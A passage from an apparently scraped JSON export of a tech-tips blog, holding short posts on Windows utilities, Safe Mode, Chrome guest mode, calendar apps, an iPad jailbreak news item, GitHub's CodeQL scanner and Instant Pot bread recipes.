Jill to shoot straight, luckily the bullet only hit Nikolai's shoulder and grazed Carlos, in a defeat of Nikolai thick face wanted to cooperate again. with Jill but she didn't care and just boarded the plane and left the traitor there, waiting for the rocket to fire.\n The final battle between Jill and Nemesis\nJill and Carlos boarded the plane just in time for the rocket to devour the entire Raccoon City in nuclear radiation, sitting on the plane to witness this final scene. Jill is determined to take revenge on Umbrella by all means. The ending of the Resident Evil 3 story ends with someone in the gym looking at the broken Vaccine bottle, before leaving with it.\nThe end of Raccoon City\nAnd that's all that happened in the Resident Evil 3 Remake plot, to be honest, it still omitted so many details that the player didn't feel very good.\nncG1vNJzZmismaXArq3KnmWcp51kva2702apnquZmbKvwIyeraKkXWh6s7HMmqKeZZWosKK8xGadq6edYsGpsYydnJqcXZi2tcWMqaOaq6Q%3D\n","link":"/post/plot-resident-evil-3-remake-escape-from-the-dead-city/","section":"post","tags":null,"title":"Plot Resident Evil 3 Remake: Escape from the dead city"},{"body":"As you know, OneNote is a note-taking application provided by Microsoft completely free and multi-platform, so users can create, work and sync on any device with no internet connection. So, if you're using Evernote and want to switch to OneNote but are worried because you don't know how to move data from Evernote to OneNote, this article will be useful for you.\nHere we will use the open source tool called Evernote2Onenote , developed by Stefan Küng. The only requirement you need to be able to use this tool is the computer that has Microsoft .NET Framework 4 installed and both Evernote and OneNote software installed on the computer.\nInstructions for converting data from Evernote to OneNote After downloading, proceed to extract and install Evernote 2Onenote to Windows. Then start the software, click the drop-down menu of the Evernote Notebook item and click the corresponding option. Here we will select Article Notes to transfer the saved data in Evernote.\n  Next, set the timeline for data transfer.\n  When everything is done, click Start Import so that the data conversion process starts.\n  When the Finished message appears, close Evernote 2Onenote and start OneNote .\n  In the OneNote interface, you will see a list of data from Evernote displayed in Article Notes .\n  These documents will be displayed as Unspecified . If you have a keyword note, the keyword section will be the name of the file.\n  But if you want to rename Unspecified instead, right-click it and select Rename .\n  Above are the steps to transfer data from Evernote to OneNote that we introduce to you. Very simple, right?\nHave a nice weekend!\nncG1vNJzZmismaXArq3KnmWcp51kwKq5z6WcZq%2BRrnq1u4ytqZqmo5uys3nEr5yrpp%2Bpsm6wwK2YZqyfYryvsc2oq54%3D\n","link":"/post/simple-way-to-transfer-evernote-data-to-onenote/","section":"post","tags":null,"title":"Simple way to transfer Evernote data to OneNote"},{"body":"Ahead of the Ignite 2019 conference coming out next week, Microsoft has officially announced a new experience for the file sharing and receiving feature of the Microsoft Teams service with countless notable changes.\nThe first factor to consider is the experience of receiving new files in the Files tab of a channel. Microsoft has 'put' the whole advantage of the ability to use and manage SharePoint files on Teams. Now you can synchronize files with PC or Mac, get previews with over 320 different file types, create views and work with metadata, view document information. , review file tags with a single mouse move, pin files to the top, perform actions like check in and check out, and many other features without leaving the Teams app.\nBesides, you will also be able to access OneDrive files directly in Teams.\nHere are some outstanding experiences currently available on Teams, SharePoint, OneDrive, and Outlook:\nSee all metadata / columns Open the file Open option with drop-down menu (online / desktop) Upload file / folder Synchronize Export to Excel New menu Filter column header column List of views Files needing attention The file is pinned Simple column installation Hover view file tab Check out / Check in Bulk approval Format columns and rows Group view   In addition, Microsoft Teams is also getting the same file sharing experience already available on OneDrive, Office applications, SharePoint, Windows Explorer, and Mac finder. When you copy / paste a file link, Teams will format as beautifully and synchronously as possible. You can change the settings for sharing by clicking the arrow next to the file that appears in the message.\nAll of the above changes are expected to be launched by Microsoft Teams for Teams users from mid-November 2019, and will be completed by the end of the month.\nncG1vNJzZmismaXArq3KnmWcp51kwK2twqRkrquVp8Buw8ilo2agkauybsDOZpynrqliwam10malnq9dmLWiusaeZKieXaK2pL7OrKafrF2psqK50g%3D%3D\n","link":"/post/slack-users-will-have-to-envy-this-new-change-of-microsoft-teams/","section":"post","tags":null,"title":"Slack users will have to envy this new change of Microsoft Teams"},{"body":"The first thing when buying a phone, computer screen you have to check for dead spots, screen stripes . by opening monochrome images to find errors. In this article, TipsMake shares with you a collection of standard screen test images with high resolution for phones and computers.\nPlease read along to follow the standard screen test images below.\n  Test image of analog standard screen\n  Full HD standard screen test image\n  Image of test screen standard RGB\n  XGA standard screen test image\n  Black phone screen test image\n  Test image of red phone screen\n  Test image of pink phone screen\n  Test image of brown phone screen\n  Image of purple phone screen test\n  Test image of white phone screen\n  Test image of yellow phone screen\n  Test image of gray phone screen\n  Test image of blue phone screen\n  Test image of green phone screen\n  Test image of a turquoise phone screen\n  Standard color screen test image\n  Black computer screen test image\n  Test image of red computer screen\n  Test image of a pink computer screen\n  Test image of a brown computer screen\n  Test image of purple computer screen\n  Test image of a white computer screen\n  Test image of a yellow computer screen\n  Gray computer screen test image\n  Test image of a blue computer screen\n  Test image of green computer screen\n  Test image of a turquoise computer screen\n  Standard Nokia screen test image\n  Test image of standard pixel position screen\n  Standard screen test animation for phones\n  Standard screen test animation for computer\n  XGA standard screen dead point test image\n  Nice standard black and white screen test image\n  Standard black and white screen test image\n  Standard color screen test picture\n  Test image of standard screen dead point position\nWith the standard screen test images in the article, it will help you save time compared to checking with software. Have a nice day!\nncG1vNJzZmismaXArq3KnmWcp51kwLWtzZ2Yq5xdqLCzscSnZK2do6l6qrnAoJw%3D\n","link":"/post/standard-screen-test-image/","section":"post","tags":null,"title":"Standard screen test image"},{"body":"After \" unlocking \", the iPad can customize the screen background image and access and install different applications.\n  A group of hackers came up with a software to exploit the vulnerability in the iPad operating system called \" Spirit \" that allows users to \" control \" more than their tablet.\nThis is a very remarkable method because it can access firmware 3.1.2, 3.1.1 and 3.2. After installation, users can use the iPad as a modem, customize the screen background image, access, install a variety of different applications. However, since this is only a beta, users need to backup backup data before proceeding.\nApple has also warned in the past, this \" unlocking \" can harm users' devices as it paves the way for hackers to hack into machines and exploit data inside. In addition, the jailbreak can also invalidate the warranty for the device.\nBelow is a video describing the process of jailbreaking the iPad.\n[youtube] http://www.youtube.com/watch?v=dhOrSgyEgcc [/ youtube]\nncG1vNJzZmismaXArq3KnmWcp51kwamxjKOYoqSSp7Kit4ymnK2gn5l6p7vRZqCpmZRitrR50Z6YnbE%3D\n","link":"/post/the-jailbreak-method-for-ipad-is-ready/","section":"post","tags":null,"title":"The jailbreak method for iPad is ready"},{"body":"The Master Boot Code (sometimes abbreviated as MBC) is one of the components of the Master Boot Record. It implements the first important function set during boot.\nSpecifically, in a typical Master Boot Record, the Master Boot Code occupies 446 bytes of the 512 bytes of the Master Boot Record - the remaining space is used by the partition table (64 bytes) and disk signature (disk signature) 2 bytes.\nHow does the Master Boot Code work? Assuming the Master Boot Code is properly executed by the BIOS, it will control the boot for the Volume Boot Code, part of the Volume Boot Sector, on the hard drive partition containing the operating system.\nMaster Boot Code is only used on primary partitions. Non-active partitions, such as those on external hard drives, can store data such as file backups, for example, do not need to boot, because they do not contain the operating system and therefore there is no reason to need the Master Boot Code.\nHere are the actions that Master Boot Code follows (according to Microsoft):\nScan the partition table for the active partition. Find the starting sector of the active partition. Load a copy of the boot sector from the active partition into memory. Transfer control to executable code in boot sector. The Master Boot Code uses the CHS fields from the partition table to determine the boot sector of the partition.\nError Master Boot Code The files that Windows needs to boot into the operating system can sometimes be corrupted or missing.\nMaster Boot Code errors can occur due to anything, from a virus attack, replacing data with malicious code, to physical damage to the hard drive.\nIdentify error Master Boot Code One of these errors may be displayed if the Master Boot Code cannot find the boot sector, preventing Windows from booting:\nMissing operating system  Invalid partition table  Error loading operating system  MBR Error 1  MBR Error 2  One way you can fix errors in Master Boot Code is to reinstall Windows. Although this may be the first thing you think about, if you don't want to go through the process of fixing errors, this is a fairly drastic solution.\nConsider a few other simpler, more capable ways to fix these issues.\nHow to fix the Master Boot Code error You can usually open the Command Prompt to run commands in Windows, but problems with the Master Boot Code mean that Windows won't start. In these cases, you will need to access the Command Prompt from outside Windows.\nIn Windows 10, Windows 8, Windows 7 and Windows Vista, you can try to fix the Master Boot Code error by rebuilding the Boot Configuration Data (BCD) with the bootrec command .\nThe bootrec command can be run in Windows 10 and Windows 8 through Advanced Startup Options . In Windows 7 and Windows Vista, you can run the same command, but it is done through System Recovery Options .\nIn Windows XP and Windows 2000, the fixmbr command is used to build a new Master Boot Record by rewriting the Master Boot Code. This command is available in Recovery Console.\nncG1vNJzZmismaXArq3KnmWcp51kxKmt02agrGWknbJuucCsq56qXZe8sMCMnKadnQ%3D%3D\n","link":"/post/what-is-the-master-boot-code/","section":"post","tags":null,"title":"What is the Master Boot Code?"},{"body":"Resource Monitor is a useful integrated tool in Windows, allowing you to track CPU, memory, disk and network usage simply. It provides more information than Task Manager. In this tutorial, TipsMake will show you quick ways to open Resource Monitor in Windows 10.\nResource Monitor is a tool that allows you to monitor CPU, memory, disk and network usage Method 1: Open Resource Monitor through the search box Click the search box Search is located on the left side of the task bar and type 'restore monitor'. Select Resource Monitor from the results and you can start the application with admin rights.\nOpen Resource Monitor through the search box Method 2: Open Resource Monitor through Run Press the Win+ key Ron the keyboard to open the Run command box . Enter resmon and click Enter, Resource Monitor utility will launch.\nOpen Resource Monitor through Run Method 3: Open Resource Monitor with PowerShell Open PowerShell or Command Prompt, enter resmon into the command line and press Enter. Resource Monitor will open immediately.\nOpen Resource Monitor with PowerShell Method 4: Open Resource Monitor from Task Manager Open Task Manager and go to the Performance tab . Click the Open Resource Monitor link in the lower left corner. The Resource Monitor window will display.\nOpen Resource Monitor from Task Manager Method 5: Open Resource Monitor from the Start menu Click the Start button in the lower left corner to display the Start menu, then expand, Windows Administrative Tools, and you can find the Resource Monitor shortcut in the list.\nOpen Resource Monitor from the Start menu Hope you are succesful.\nncG1vNJzZmismaXArq3KnmWcp51kgm7DwLKqZqyfYryxsc1mqZ6rn6q%2FpLGMpqanoaSkv261zWauoqaUpMS0eZBp\n","link":"/post/5-ways-to-open-resource-monitor-in-windows-10/","section":"post","tags":null,"title":"5 ways to open Resource Monitor in Windows 10"},{"body":"As the Microsoft Store continues to grow and improve, users have more options for applications than ever before.\nToday, TipsMake.com will review some calendar applications with your readers. What calendar applications should you use to increase productivity, remember birthdays or to manage time more effectively? Certainly, there are many choices. But don't worry! The article will introduce you to the best calendar applications in Microsoft Store. Let's find out later!\nWhat is the best calendar application in Microsoft Store? 1. Mail and Calendar 2. My Calendar 3. One Calendar 4. Ink Calendar 5. Good Plan 6. EasyMail for Gmail 7. Game Calendar 1. Mail and Calendar   We cannot mention other solutions but ignore Microsoft's own Mail and Calendar application.\nIf you depend on a lot of Microsoft applications, that's one of the best calendar apps you'll find. Although only for a single download, Mail and Calendar will appear as two separate applications on your Windows computer. You cannot install this without that.\nFor some users, the Calendar application is optimized for Exchange. You will get rich support features for meetings and manage your schedule.\nIn addition, you also have the option to change the default font of the application, Dark Mode, support touch screen and gestures, calendar types other than the calendar, as well as event-dragging. and drop.\nDownload Mail and Calendar (Free).\n2. My Calendar   My Calendar is a lightweight calendar application for Windows 10. It provides all the features you expect, including day, week and month views, toggle buttons to hide and display calendar items. and a variety of customization options.\nHowever, the application really shines thanks to its Live Tiles feature.\nYou can set up different cells and customize them to display different things (for example, business meetings, birthdays, national holidays, etc.). That means you can view all your information at a glance from the Start menu without opening the application.\nMy Calendar has a complete task management feature with customizable categories. All of your tasks are accessible from within the Microsoft Store application, but it is only available in the Pro version.\nThe Pro version also removes ads, adds multiple calendar views (by date, year or schedule) and allows you to add photos to the birthday calendar.\nDownload My Calendar (Free, available Pro version).\n3. One Calendar   One Calendar is one of the best calendar applications for Windows, thanks to the impressive number of third-party vendors it supports. This list of third-party providers includes Outlook, Google Calendar, Exchange, Office 365, Facebook, iCloud calendars via Webcal and CalDAV.\n5 view modes available (day, week, month, year and schedule). My Calendar does not lock any of these views and requires users to pay. You can easily switch between different views by using the Semantic Zoom feature, just scroll the mouse wheel to move between different time frames.\nYou can also configure the information displayed on the application. To change the look, choose one of over 170 available themes.\nYou can also work offline. In addition, One Calendar is also available on Android and iOS, thus providing you with a seamless experience on all devices.\nDownload One Calendar (Free, In-app purchases).\n4. Ink Calendar   Ink Calendar is worth considering if you like using Windows Ink. For those who don't know, Windows Ink is a Windows feature that lets you use digital pen (or your finger) to take notes, write and edit documents, annotate PDF files, and so on. .\nInk Calendar is an option similar to the most paper calendar you'll find in Microsoft Store. When you create a handwritten note on the screen, the application can read the text, understand it whenever you mention it and add an appointment to other third-party calendar apps like Outlook and Google. You can also switch from Ink Calendar to Windows default calendar application with one click.\nThe application allows you to draw and write in a variety of colors, providing highlighting features and the ability to customize things like wallpapers, themes and bright / dark modes.\nNote : You can set up Windows Ink by going to Start\u0026gt; Settings\u0026gt; Devices\u0026gt; Pen \u0026amp; Windows Ink .\nDownload Ink Calendar ($ 4.99 / 115.000VND, free trial version).\n5. Good Plan   If you are looking for the best Windows calendar for educational purposes, you should consider Good Plan. This application is ideal for students, teachers and even parents.\nGood Plan has a few core features that appeal to students, teachers and even parents.\nFor example, teachers will appreciate the lesson planning feature with homework assignments and integrated exams. Students can activate the schedule to ensure that they are always in the right class at the right time. And parents can keep track of their child's assignments, classes and holidays.\nDownload Good Plan (Free, available premium version).\n6. EasyMail for Gmail   One of the biggest drawbacks to using Google's calendar service on Windows is the lack of a desktop application.\nGoogle has firmly refused to create desktop applications for its other popular services, so it looks like the situation won't change overnight.\nOne of the best solutions is to use EasyMail for Gmail.\nThis application allows you to access Google Calendar, Gmail and Google Tasks in a single interface. You can access different calendar views, create events, accept or reject appointments and invite others to your event.\nEasyMail for Gmail also supports account switching. If you have a personal Google account and a G Suite account at work, you can switch between them with just one click. You can add up to 5 accounts.\nDownload EasyMail for Gmail (Free, In-app purchase).\n7. Game Calendar   The article ends with a hint for hardcore gamers. Game Calendar will help you keep up with the latest games on all your favorite platforms. You can use it to view upcoming releases and release dates after many years or set reminders for upcoming new titles.\nThe app also offers video clips from games, game information and the latest trailers. You can even sync your own game library to the cloud for maximum integration.\nDownload Game Calendar (Free).\nRemember, the 7 applications reviewed in this article are the best calendar apps in Microsoft Store. There are dozens of other calendar applications worth recommending on other operating systems and on the web.\nIf you want to learn more about the different options, check out some TipsMake.com articles about:\n8 best free calendar apps for Android 6 best free online web calendar applications Top Vietnamese calendar application, see the best sound schedule for phones Wish you find yourself the right choice!\nncG1vNJzZmismaXArq3KnmWcp51khG6uxKyrZpuRobKvsMCrZJqooKh6qrqMpqCcqp%2BovKfAjKyrqKqV\n","link":"/post/7-best-calendar-apps-in-microsoft-store/","section":"post","tags":null,"title":"7 best calendar apps in Microsoft Store"},{"body":"Apple has officially released iOS 12.2 update with many improvements to enhance the user experience on iPhone and iPad. From now on, users can upgrade to this new update to experience.\nYou can proceed to update iOS 12.2 version via OTA by going to Settings (Settings) -\u0026gt; selecting General Settings (General) -\u0026gt; selecting Software Update (Software Update).\n  Some new features are noticeable on iOS 12.2:\nNew AirPods 2019 support was launched last week. AirPlay 2 supports HomeKit smart home controlled via third-party TVs (LG, Samsung, Sony). Support Apple News + in Canada. Subscribers for $ 9.99 / month have access to more than 300 magazines and a number of newspapers, supporting sharing of 6 home users. Support playback of content on Apple TV via Siri on iOS devices. Safari gives warnings for unencrypted websites. Update 4 new Animoji (owl, boar, giraffe and shark).   Re-open Facetime Group. Maps application (Maps) displays additional air index (Air Quality Index). Support Logitech Crayon stylus on iPad Pro. Extend the full screen to the Remote interface in Apple TV. Add the option to purchase the AppleCare + warranty package. Details of warranty information of purchased users will be displayed in the settings - About.    ncG1vNJzZmismaXArq3KnmWcp51krq2%2BxJqbsmWYlsOmecioqmZpYmd6uLXToWSmmZ6ueqq5z6umr52dmru1v4yipa%2BhpJqxbsDOZqypn6KWsaZ5wKebZp2opbKztcSnmp4%3D\n","link":"/post/already-have-ios-12-2-with-many-improvements-invited-to-upgrade-and-experience/","section":"post","tags":null,"title":"Already have iOS 12.2 with many improvements, invited to upgrade and experience"},{"body":"Microsoft Chairman, Facebook CEO, Square founder Jack Dorsey and singer Will.i.am also appeared in the video called \"What most schools don't teach\".\nThe famous people in Silicon Valley (USA) understand the importance of programming and many of them started writing the first piece of code when they were very young. Bill Gates said that the first time he approached the computer was 13 when he was with Zuckerberg when he was in the 6th grade. But 90% of the current high schools didn't have programming.\n  Bill Gates in the short film about programming - the subject is not available in high schools.\nTherefore, the famous technology experts agreed to participate in the short film section of Code.org with the aim of encouraging the opening of more computer science classes in high schools, helping students learn submit early.\n\"Our policy is to recruit the most talented engineers. However, the problem is that we cannot find enough people who are trained and have the necessary skills ,\" Zuckerberg said.\nThe video not only conveys the message of the importance of programming to technology talents in the world - those who have succeeded in persisting in their passion, but also partly emphasize the role. Huge of information technology in the connected world. Only one day has appeared, the clip has attracted more than 2 million views on YouTube alone.\n\nClick on the \"cc\" button in the right corner of the video to view English subtitles.\nncG1vNJzZmismaXArq3KnmWcp51kr6q4y2aemqyVqHqiusNmpJqqm2LHtq%2FKnqmbnaKcerS0wKucZqyYmrazec%2Baqqyhn6N6p7vRZqerp5enrq65yKee\n","link":"/post/bill-gates-and-mark-zuckerberg-share-their-passion-for-programming/","section":"post","tags":null,"title":"Bill Gates and Mark Zuckerberg share their passion for programming"},{"body":"Code hosting platform GitHub has just launched a brand new machine learning-based code analysis and scanning tool. This tool has the ability to automatically detect common vulnerabilities in code before they are introduced into the final stages.\nCurrently, the tool is in public beta testing in GitHub's JavaScript and TypeScript repos.\n\"With new analysis capabilities, the code scanning engine can display more warnings for four common vulnerability patterns: cross-site scripting (XSS), path injection, NoSQL injection and SQL injection,\" the experts said. Tiferet Gazit and Alona Hloibna of GitHub shared.\n\"Aggregate data shows that these four types of vulnerabilities are the cause of many recent vulnerabilities (CVEs) in the JavaScript/TypeScript ecosystem and improved code scanning to detect these vulnerabilities early in the process.\" development is key to helping developers write safer code.\"\n  When a vulnerability is detected, the tool will display a warning in the \"Security\" tab of registered repos. The alerts are also labeled \"Experimental\" and are also available via the pull requests tab.\nIn fact, a code analysis tool called CodeQL was added to their platform by GitHub after acquiring code analysis platform Semmle in September 2019. The first beta of CodeQL was announced in May 2020 and available for everyone to test in September 2020.\nDuring beta testing, CodeQL scanned more than 12,000 repos 1.3 million times and discovered more than 20,000 security issues, including remote code execution (RCE), SQL injection, and cross-site vulnerabilities. scripting (XSS).\nCodeQL is free for public repos and available as an Advanced Security feature for GitHub Enterprise private repos.\nNow, after adding machine learning, CodeQL's accuracy and code analysis capabilities will be further improved.\ngithub vulnerability scanner ncG1vNJzZmismaXArq3KnmWcp51ktKrAx66ZrGWdlrCptc2eZKWdkae7qrrGZquop5xisKK6jJ2crZ2TqXq3wcunnKuZkp65qsDInqpmoZ5isLCwxA%3D%3D\n","link":"/post/github-s-machine-learning-tool-can-detect-vulnerabilities-in-code/","section":"post","tags":null,"title":"GitHub's machine learning tool can detect vulnerabilities in code"},{"body":"Auto Click is a software that helps you reduce mouse usage time with many automatic click modes, helping users improve efficiency when performing repetitive works of graphic design, photo editing, . This article will guide how to install and use the Auto Click software.\n1. Instructions on how to download and use Auto Click on a Windows computer - Step 1: Download the software Auto Click\nSelect the version of Auto Click you want to download HERE \u0026gt; Select Download.\n  - Step 2: Install Auto Click\nGo to the folder where you just downloaded Auto Click\u0026gt; Click on it\u0026gt; Select Run to proceed with the installation.\n  - Step 3: Install the operation\nYou can automatically click the mouse always with the F8 key to start / stop under the default setting of auto left click.\nTo change to right or middle click (scroll wheel) select Options\u0026gt; Select Clicking\u0026gt; Select Options.\n  - Step 4: Select the operation you want to set\nAt Clicking options:\n+ Here the Mouse section allows you to change the mouse click Left (left), Right (right) and Middle (middle).\n+ Click item to choose Single (single click) or Double (double click).\n+ The Freeze the pointer (only single click) option allows you to freeze the mouse when performing autostun (for single click only).\nFrom the selection Options\u0026gt; Select Clicking\u0026gt; Select Reapeat:\n+ Here you check the Repeat option and enter the number of clicks or Repeat until stopped to set the click until you ask to stop.\n+ Section Interval allows you to enter the space between each press.\n  - Step 5: Perform mouse click on multiple locations at the same time\nFrom Options\u0026gt; Select Recording\u0026gt; Select Multiple clicks. Check the box Record and replay multiple clicks\u0026gt; Select Pick point and click any point on the screen so that the tool to record the position automatically click\u0026gt; Click records will display the number of positions you have set, multi click\u0026gt; Press Ok to save changes.\n  - Step 6: Set other settings.\n+ Change Hotkey shortcut:\nFrom Options\u0026gt; Select Settings\u0026gt; Select Hotkey. Click the box Click / Stop\u0026gt; Press the hotkey to set up\u0026gt; Click Ok to complete.\n  + Select View Settings:\nFrom Options\u0026gt; Select Settings\u0026gt; Select View allows you to set two options:\n+ Hide when it is clicking: Hide the window when auto-clicking is done.\n+ Show when it finish click: Display the window when finished click / click stop.\n   To set up shutdown or other actions after completion:\nFrom Options select Settings\u0026gt; Select Other. At Other setting\u0026gt; Click the drop-down menu below and select settings such as Idle (standby), Quit (exit auto), Lock computer (lockout), Log off computer (log out), Turn off computer ( shutdown), Standby (backup) and Hibernate (hibernate) for the computer.\n ​\n2. Instructions on how to download and use Auto click on a Mac computer - Step 1: Download Auto Clicker on Mac\nDownload Auto Clicker for Mac HERE.\nClick Download\u0026gt; Click the down arrow in the upper-right corner of the screen, see the downloaded file\u0026gt; Click Clear.\n ​\n- Step 2: How to use the Auto Clicker software.\nOpen the downloaded software\u0026gt; Click the letter A\u0026gt; Click Open.\n ​\nSet the desired speed at Milli Seconds\u0026gt; Click Start as many times until the number of clicks you want. The remaining parameters such as Select Click Type, Start / Stop Clicking Or Press Key, . remain the same.\n ​​\nAbove are instructions to help you install and use the Auto Click software on Windows and Mac. Hope the above sharing will help you perform tasks and operations faster and more efficiently.\nauto click download ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpyfrLutu8CdZJqmlGLCtLGMmqytp12YuaqvymabqJ2jYruwwIyompytoK56tbTEZqSoraOaerC6jK2fnmWTpLqxwdOeqQ%3D%3D\n","link":"/post/how-to-download-and-use-auto-click-does-not-occupy-the-mouse-on-the-computer/","section":"post","tags":null,"title":"How to download and use Auto Click does not occupy the mouse on the computer"},{"body":"When you have to share a computer with many people, the Guest Mode on Google Chrome will be a great choice because they will automatically delete your browsing history, Cache, Cookies, . every time you exit. . This is a useful feature, and Google has worked on adding them to every different Google Chrome platform. In this article, Tipsmake will show you how to enable and use Guest Mode on Chrome.\n  I. How to activate Guest Mode and use it on Google Chrome First, you need to update Google Chrome to the latest version. You can download the latest version at the Google Chrome homepage and install it.\nStep 1: you proceed to open Google Chrome normally, then you select Personal (1) and select Settings (2) .\n  Step 2: When the window to set up accounts used on Google Chrome appears, select Browse as Guest .\n  Step 3: A new window will appear with Profile as Guest and you have activated guest mode on Google Chrome done.\n  Now you can browse the Web with Guest Mode, your data will be completely erased every time you exit the browser.\nStep 4: To exit Guest Mode, you can turn it off as usual through the X or select Options -\u0026gt; Exit .\n  The benefits of Guest Mode Google Chrome.\nDo not save Web browsing data including: History, Cache, Cookies. Each time you use guest mode, your main Google Chrome will not be affected, the data from the main account will not sync to the guest account. II. How to set up Google Chrome to always open with guest mode If you often lend a computer, setting Guest Mode on Google Chrome as the default mode is essential to avoid affecting personal data.\nStep 1: First, right-click on Google Chrome and select Properties .\n  Step 2: Then, select the Shortcut tab and navigate to the Target section. Here, you proceed to add the following command to the last part of the command.\nNote: Before ' –guest' you must have a space (space) .\nFor example:\nGoogle Chrome Normal mode \"C:Program Files (x86)GoogleChromeApplicationchrome.exe\"\n  Google Chrome Guest Mode\n \"C:Program Files (x86)GoogleChromeApplicationchrome.exe\" --guest\n   Once done, click Apply -\u0026gt; OK to save.\n  Thus, from now on when clicking on Google Chrome, by default they will open a guest account instead of your main account.\n  To cancel always opening Google Chrome with Guest Mode, repeat the above steps and delete the ' –guest' code and you're done.\nIn this article, Tipsmake showed you how to enable and use Guest Mode on Google Chrome. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp2elq%2BtsYyapZ1lpaiybrPUnqqtZZ2ksaZ5zqdknKCipLqm\n","link":"/post/how-to-enable-and-use-guest-mode-on-chrome/","section":"post","tags":null,"title":"How to enable and use Guest Mode on Chrome"},{"body":"Safe mode is a mode that helps windows start up with minimal equipment and services, which can diagnose where Windows is crashing and fix it. When in this mode, the installed software will not work and the virus will not affect. Safe Mode is a great salvage mode when the computer encounters emergencies but not to the point where it is necessary to use a system backup partition or reinstall the whole system. Here TipsMake.com will guide you the easiest ways to enter safe mode on windows 7.\n  Method 1: Go to Safe Mode on Windows 7 with F8 key Step 1 : Restart your computer.\nStep 2 : When your computer starts to boot, you will see a screen displaying the name of the laptop or main line of the computer. At this point, repeatedly press the F8 key on the keyboard until the Advenced Boot Option screen appears.\n  Step 3 : Use the arrow keys to change the selection. Press Enter to enter the mode you need.\nThere are 3 options to enter Safe Mode on Windows 7:\nSafe Mode : This is the default and commonly used mode. This mode only starts Windows and downloads at least some necessary driver files.\nSafe Mode with Networkin g: This mode will load things like in Safe Mode and some network connected drivers. Choose this mode if you need to work with the Internet or an intranet in Safe Mode.\nSafe Mode with Command Prompt : This mode will launch Command Prompt instead of Windows Explorer. In some cases, Safe Mode does not work, this is the best option for you.\nWait a moment for the download to complete:\n  Method 2: Go to Safe Mode with System Configuration This way we will do it when the computer has booted into Windows.\nStep 1: You press Windows + R to open the Run dialog box, enter the command msconfig and press Enter.\n  Step 2 : In the System Configuration dialog box, select the Boot tab, then in the Boot options section, select Safe boot and click OK .\n  When a message appears, click Restart\n  When the computer restarts, Safe Mode will automatically enter.\nSafe Mode in the 4 corners of the screen will have Safe Mode for you to easily recognize:\n  When you're done with Safe Mode, you want to exit this mode, you must turn on System Configuration then in the General tab, select Normal startup .\nNext, go to the Boot tab and uncheck Safe boot and restart the computer.\n  Above is an instruction on how to enter Safe Mode on Windows 7, hope the article will be helpful to you. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp2eqbKzedKanZ5lnaSxpnnOp2SwoZ6ZvLi%2FjHA%3D\n","link":"/post/how-to-enter-safe-mode-on-windows-7/","section":"post","tags":null,"title":"How to enter Safe Mode on Windows 7"},{"body":"\u0026nbsp;But did you know you can make great bread with the help of your Instant Pot?\u0026nbsp;\n Though there isn't a baking mode on the Instant Pot, you can still use it to make soft, warm bread that beats a bakery every time. It can steam cook quick breads by pressure cooking them and help yeast breads rise at a record pace. The results? Mmm.\nCooking fast bread Fast bread typically calls for bread recipes that have leavening options other than yeast to make them fluffy. These types of breads can be steamed into deliciousness using the Pressure Cook button.\nTo cook quick bread:\nPlace the steamer rack into the inner pot upside down. Fill the pot with 4 to 6 cups of hot water. Place the quick bread in a clean metal coffee can or other small, heat-resistant container. Make sure the inside is greased and floured. Cover the container lightly with buttered foil. Put the container inside the inner pot, on top of the steamer rack. Turn the valve to Sealing. Turn off the Warming button. Lock the lid. Set Pressure Cook to 40 minutes. Do a natural release of pressure for 10 minutes or until the Instant Pot is ready to open.   Sweet Potato Quick Bread recipe Here's my favorite quick bread recipe. It tastes amazing when cooked in an Instant Pot. It comes out with a moist, chewy, cake-like texture.\n\u0026nbsp;Ingredients:\n1 cup canned sweet potatoes 2 eggs 1/2 cup butter 1/4 cup water 1 cup sugar 1/2 cup brown sugar 1 cup raisins 2 cups flour 1 tsp. baking soda 1/2 tsp. salt\u0026nbsp; 1 Tbs. pumpkin pie seasoning Instructions:\nMix all of the dry ingredients with your stand mixer on low.\u0026nbsp; Slowly add the wet ingredients with your mixer on medium. Grease and flour a coffee can. Pour the mix into the coffee can. Place the steamer rack upside down in the inner pot. Add 6 cups of water. Place the coffee can into the inner pot and cover with a buttered aluminum foil square. Turn the valve to Sealing. Turn off the Warming button. Lock the lid. Set Pressure Cook to 40 minutes.\u0026nbsp; Do a natural release of pressure for 10 minutes or until the Instant Pot is ready to open. Here are some more quick bread recipes that will work in your Instant Pot:\nSavory Summer Squash Quick Bread Zucchini Bread Pumpkin Bread Cranberry-Orange Quick Bread Proofing yeast bread If you want super fluffy yeast bread with a nice crust, then you'll want to use your Instant Pot just for proofing the dough. I'm super excited about proofing my bread this way because I tend to want to eat right away, not after hours of rising.\u0026nbsp;\nTo proof bread:\nPlace the bread on parchment paper. Put the steamer rack into the inner pot the normal way. Secure the lid. Turn the valve to\u0026nbsp;Venting. Use the Yogurt button in Low mode to keep the dough just warm enough to rise.   This process took my Instant Pot 24 minutes to fully double my yeast dough. When it's done, it will look bubbly and sticky. That's natural. Knead the dough and either re-rise it according to the recipe or transfer it to your cooking pan for baking in the oven.\nSavanna's Yeast Rolls recipe My daughter and I have perfected this simple recipe to make rolls that are crunchy on the outside and tender on the inside.\nIngredients:\n3 cups lukewarm water 4 1/2 tsp. yeast 2 heaping Tbs. sugar 5 1/2 cups flour Instructions:\nAdd 3 cups of water to your mixer bowl. Mix in yeast and sugar on low speed with the bread hook. When the yeast is dissolved, slowly add the flour. Knead and let it sit for 5 minutes. Knead again and place dough on parchment paper. Put the steamer rack into the inner pot. Add the dough on the parchment paper. Secure the lid. Turn the valve to Venting. Use the Yogurt button in Low mode. In about 24 minutes, your dough will have doubled. Turn off the pot.\u0026nbsp; Remove the dough and knead it. Fold into rolls and place on a cooking sheet. Brush melted butter over each roll.\u0026nbsp; Bake at 350 degrees Fahrenheit (177 degrees Celsius) for 35 minutes. Makes 12 rolls.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqiipLynecCnm2aakaCybq7RnpidZZmjeqK6jKKlrKyRo8FuvM6t\n","link":"/post/how-to-proof-and-bake-bread-in-an-instant-pot/","section":"post","tags":null,"title":"How to proof and bake bread in an Instant Pot"},{"body":"If you've spent too much time creating a nested IF formula (IFS function), you'll love to use the new SWITCH function in Excel. This function saves you time in situations where IFS is needed. Earlier this function was only available in VBA, but recently SWITCH was added in Excel 2016, Excel Online and Mobile, Excel for computers and Android phones. This article will show you how to use the SWITCH function in Excel 2016.\nMS Excel - Lesson 15: Harness the power of the Excel function in Excel SWITCH function syntax The SWITCH function compares an expression with a 